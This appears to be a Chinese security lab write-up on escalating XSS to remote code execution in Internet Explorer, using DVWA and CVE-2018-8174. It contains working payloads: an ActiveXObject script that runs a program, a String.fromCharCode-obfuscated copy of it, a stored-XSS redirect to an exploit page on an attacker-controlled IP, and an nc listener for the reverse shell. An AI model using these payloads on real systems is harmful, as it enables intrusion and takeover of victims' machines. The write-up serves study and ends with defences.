利用ActiveXobject

构造javascript代码如下

<script>var o = new ActiveXObject("WScript.Shell");o.run("calc.exe");</script>

DVWA的反射型XSS为例,这里如果要允许ActiveXobject则需要手动打开一个设置
IE浏览器下点击工具,进入Internet选项,安全,自定义级别,这项选择启用
1.png
然后插入js代码出现如下提示
2.png
点击允许即可弹出计算器
3.png
当然,为了掩饰,我们可以对代码进行加密,加密后代码如下:

<script>eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));</script>

同样可以弹出
4.png

CVE-2018-8174复现

Exp下载地址:https://github.com/Yt1g3r/CVE-2018-8174_EXP
先生成exploit.html
5.png
然后打开apache服务,将exploit.html上传到/var/www/html/
6.png
最后使用nc监听4444端口,将链接http://192.168.0.28/exploit.html发送给受害者,让其用IE浏览器打开,这里我用的Win7的系统
7.png
打开后这边就拿到了shell
8.png

对于扩大攻击面的思考

因为最后目的是让用户点击链接,想到如果存在XSS漏洞就可以利用到这一点,所以这里以dvwa的存储型XSS为例,首先攻击者先在评论区发送XSS代码跳转恶意链接

<script>location.href="http://192.168.0.28/exploit.html"</script>

用户进入页面后执行JS代码页面跳转,收到shell
10.png

防御方法

1.升级IE浏览器至最新版本
2.禁用对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本

参考链接

https://www.mi1k7ea.com/2019/06/30/XSS%E4%BB%8E%E5%BC%B9%E6%A1%86%E5%88%B0RCE/
https://xz.aliyun.com/t/3919#toc-4